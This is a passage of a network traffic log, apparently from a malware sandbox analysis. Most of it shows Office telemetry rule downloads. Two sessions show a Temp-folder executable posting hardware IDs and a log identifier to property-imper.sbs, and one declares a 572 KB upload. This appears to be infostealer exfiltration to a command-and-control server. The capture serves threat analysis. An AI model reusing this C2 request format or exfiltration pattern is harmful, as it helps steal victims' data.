2024-11-23 17:22:56 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:56 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172256Z-174c587ffdfcb7qhhC1TEB3x7000000003d0000000001ut6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:57 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:56 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:57 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172257Z-174c587ffdf4zw2thC1TEBu34000000003c0000000004vh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:57 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:57 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:57 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c1e9356c-301e-0099-2920-3d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172257Z-178bfbc474bwlrhlhC1NYCy3kg00000004sg00000000ap4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:57 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49907	172.67.162.84	443	4428	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:57 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MZ6YERX2RJYNEU01L2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1301 Host: property-imper.sbs
2024-11-23 17:22:57 UTC	1301	OUT	Data Raw: 2d 2d 4d 5a 36 59 45 52 58 32 52 4a 59 4e 45 55 30 31 4c 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4d 5a 36 59 45 52 58 32 52 4a 59 4e 45 55 30 31 4c 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 5a 36 59 45 52 58 32 52 4a 59 4e 45 55 30 31 4c 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --MZ6YERX2RJYNEU01L2Content-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--MZ6YERX2RJYNEU01L2Content-Disposition: form-data; name="pid"1--MZ6YERX2RJYNEU01L2Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 17:22:58 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qhj3l239ckhr9hq4iagbb22ovh; expires=Wed, 19-Mar-2025 11:09:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sbCY7vHaoBY4GSH3%2FSJ%2B2LmNfykC2Q1a%2B6mRcPX6A54ApiElWmd6mRXPS6MyNvvOHpgbg099OWcRP8nA15d3gN6GDwbaKZ0rtBoqmyzvw5Fnt7FlH3usD0Rta4T8UP6ydq2wgi0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d825c9bf7ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2220&delivery_rate=1587819&cwnd=179&unsent_bytes=0&cid=a2f09ab4362e22bf&ts=728&x=0"
2024-11-23 17:22:58 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:57 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:57 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c476523a-d01e-008e-6755-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172257Z-15b8b599d88wn9hhhC1TEBry0g00000003b0000000005c14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:57 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:58 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:58 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: c06a529d-f01e-0085-0e9a-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172258Z-15b8b599d88f9wfchC1TEBm2kc00000003f00000000013gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:58 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:58 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:59 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 5af92f63-c01e-00a1-4c0c-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172259Z-178bfbc474bscnbchC1NYCe7eg00000004ug00000000gnbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:59 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:59 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:59 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172259Z-15b8b599d889fz52hC1TEB59as000000034g00000000g0v6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:59 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:59 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:00 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2df0f233-b01e-0084-4f11-3dd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172300Z-178bfbc474b9fdhphC1NYCac0n00000004kg00000000m2md x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:23:00 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:59 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:00 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 650b08ff-201e-0033-5b2f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172300Z-178bfbc474bxkclvhC1NYC69g400000004q000000000aehe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:23:00 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:00 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:01 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172301Z-174c587ffdf9xbcchC1TEBxkz4000000031g00000000fv41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:23:01 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49917	172.67.162.84	443	4428	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:01 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XPX0IXE2O7N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572387 Host: property-imper.sbs
